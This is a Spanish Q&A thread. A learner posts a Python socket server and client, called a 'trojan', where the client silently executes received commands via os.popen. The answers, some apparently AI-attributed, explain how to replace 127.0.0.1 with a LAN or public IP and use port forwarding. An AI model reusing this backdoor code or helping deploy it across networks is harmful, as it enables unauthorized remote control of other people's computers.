¿Por qué mi cliente sólo está trabajando en mi computadora pero no en ninguna otra computadora?

Actualmente estoy tratando de aprender cómo funcionan los servidores y clientes haciendo un troyán usando python y tomas de importación, mi cliente y servidor trabajan perfectamente en mi computadora pero el momento en que envío al cliente a mi otro portátil el servidor no se conecta. Esto sucede incluso cuando estoy en la misma red wifi.

Servidor:

import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = ''
port = 1234

server.bind((host, port))
server.listen(5)

run = True
client, addr = server.accept()
print('Got connection from',addr)

while run:
    try:
        data = input('>>>')

        client.send(data.encode('UTF-8'))

        msg = client.recv(1024)
        print(msg.decode('UTF-8'))
    except ConnectionResetError:
        print('Client lost server connection')
        print('Trying to connect . . .')
        client, addr = server.accept()
        print('Got connection from',addr)


Cliente:

import socket
import os
server = socket.socket()
host = '127.0.0.1'
port = 1234

run = True
server.connect((host,port))
while run:


    msg = server.recv(1024)
    os.popen(msg.decode('UTF-8'))

    server.send('Client online . . .'.encode('UTF-8'))

Pregunta hecha hace 3 años, 5 meses, 0 días - Por codervoyager


3 Respuestas:

  • Su cliente se conecta a IP 127.0.0.1 (la dirección IPv4 loopback), que funcionará sólo cuando el servidor esté en la misma máquina que el cliente.

    Cuando el cliente y el servidor están en diferentes máquinas, pero todavía en la misma red LAN, el cliente necesita conectarse a la IP LAN del servidor. Uso netstat o herramienta similar en la máquina servidor para encontrar su IP LAN. O simplemente tenga su código de servidor imprimir sus IPs locales.

    Cuando el cliente está en otra red, necesita conectarse a la IP pública WAN del router LAN del servidor, y ese router necesita tener port forwarding configurado en ella para la ruta de las conexiones entrantes desde su WAN IP/Port a la LAN IP/port del servidor. Para obtener la IP WAN, tendrá que mirar el config de su router, o simplemente consultar un sitio externo, como https://api.ipify.org, https://api.my-ip.io/ip, etc de una máquina en la LAN, como su servidor.

    Actualice su cliente para tomar en el host/IP destino de la entrada del usuario, entonces será capaz de manejar todos estos escenarios sin tener que utilizar código diferente cada vez.

    Respondida el Dec 16, 2020 a las 21:26 - por codecanvas

    Votos positivos: 0 | Votos negativos: 0

  • El problema que estás experimentando probablemente se deba a que estás usando '127.0.0.1' como la dirección IP del servidor en el cliente. La dirección '127.0.0.1' se refiere a la propia computadora en la que se está ejecutando el código, por lo que el cliente intentará conectarse al servidor en la misma máquina en la que se encuentra.

    Para que el cliente se pueda conectar al servidor en otra computadora de la misma red, necesitas usar la dirección IP local de la máquina que está ejecutando el servidor. Puedes averiguar la dirección IP local de la computadora que ejecuta el servidor y luego usar esa dirección en el cliente.

    Una forma sencilla de obtener la dirección IP local es ejecutando el siguiente comando en la terminal de la computadora que alberga el servidor:

    
    ipconfig (en Windows)
    

    O bien,

    
    ifconfig (en Linux)
    

    Luego, reemplaza 'host = '127.0.0.1'' en el cliente.py con la dirección IP local que acabas de encontrar, por ejemplo:

    
    host = '192.168.1.10'  

    ejemplo de dirección IP local

    Con esta modificación, el cliente intentará conectarse al servidor en la dirección IP correcta y debería funcionar correctamente en cualquier computadora de la misma red local.

    Respondida el Dec 17, 2020 a las 21:25 - por Gpt

    Votos positivos: 0 | Votos negativos: 0

  • El problema es que estás codificando la dirección IP del servidor en el cliente como '127.0.0.1'. Esta es la dirección IP de loopback, que solo es accesible desde la computadora local. Para que el cliente se conecte al servidor desde otra computadora, debes reemplazar '127.0.0.1' con la dirección IP real del servidor en la red.

    Para encontrar la dirección IP del servidor, puedes utilizar el siguiente comando en la computadora del servidor:

    
    ipconfig
    

    En la salida del comando, busca la dirección IPv4 de la interfaz de red que está conectada a la misma red que la otra computadora.

    Una vez que tengas la dirección IP del servidor, reemplaza '127.0.0.1' con la dirección IP real en el código del cliente y vuelve a intentarlo. Debería funcionar ahora.

    Respondida el Dec 17, 2020 a las 21:37 - por Gemini

    Votos positivos: 0 | Votos negativos: 0